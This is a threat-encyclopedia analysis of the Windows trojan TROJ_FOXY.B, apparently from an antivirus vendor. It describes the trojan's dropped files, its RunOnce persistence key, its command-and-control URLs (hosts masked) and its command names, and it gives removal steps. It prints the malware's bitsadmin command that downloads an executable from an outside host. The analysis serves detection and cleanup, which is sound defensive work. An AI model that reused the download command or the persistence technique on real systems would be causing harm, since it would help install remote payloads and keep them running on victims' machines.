TROJ_FOXY.B

March 20, 2015
 Analysis by: Jennifer Gumban
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to a website to send and receive information.

It modifies the Internet Explorer Zone Settings.

  TECHNICAL DETAILS

File Size:

163,840 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

02 Feb 2015

Payload:

Connects to URLs/IPs, Downloads files, Compromises system security

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following non-malicious files:

  • %Application Data%\Microsoft\Bot_ID
  • %System%\wbem\Logs\wbemprox.log

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It drops the following copies of itself into the affected system:

  • %Application Data%\Microsoft\svchost.exe

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunOnce
f0xy = "%Application Data%\Microsoft\svchost.exe"

Backdoor Routine

This Trojan connects to the following websites to send and receive information:

  • http://{BLOCKED}.{BLOCKED}.169.79/hello.php
  • http://{BLOCKED}.{BLOCKED}.169.79/getjob.php
  • http://{BLOCKED}.{BLOCKED}.169.79/index.php

Web Browser Home Page and Search Page Modification

This Trojan modifies the Internet Explorer Zone Settings.

Download Routine

This Trojan downloads the file from the following URL and renames the file when stored in the affected system:

  • %Application Data%\Microsoft\f0xyupdate.exe - TROJ_LISHCA.C

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Other Details

This Trojan performs DNS requests to the following sites:

  • api.{BLOCKED}k.com/method/wall.get?count=1&owner_id=-81972386
  • {BLOCKED}.{BLOCKED}.131.120:80

NOTES:

This malware uses the following command to download a file:

bitsadmin /transfer Download_f0xy http://{BLOCKED}.{BLOCKED}.169.79/bn_versions/9.exe" "%Application Data%\Microsoft\f0xyupdate.exe""

It performs the following C&C commands:

  • basic
  • bat
  • download
  • filename
  • gate
  • get
  • knock
  • port
  • srv
  • uri

It connects to the URL http://{BLOCKED}.{BLOCKED}.169.79/index.php using the following query strings:

  • admin
  • arch_type
  • av_list
  • id
  • nat
  • os
  • v
  • video

  SOLUTION

Minimum Scan Engine:

9.750

FIRST VSAPI PATTERN FILE:

11.454.05

FIRST VSAPI PATTERN DATE:

24 Jan 2015

VSAPI OPR PATTERN File:

11.455.00

VSAPI OPR PATTERN Date:

25 Jan 2015

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Remove the malware/grayware file dropped/downloaded by TROJ_FOXY.B. (Note: Please skip this step if the threat(s) listed below have already been removed.)

    • TROJ_LISHCA.C

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Application Data%\Microsoft\Bot_ID
  • %System%\wbem\Logs\wbemprox.log

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • f0xy = "%Application Data%\Microsoft\svchost.exe"

Step 6

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_FOXY.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 7

Reset Internet security settings

[ Learn More ]


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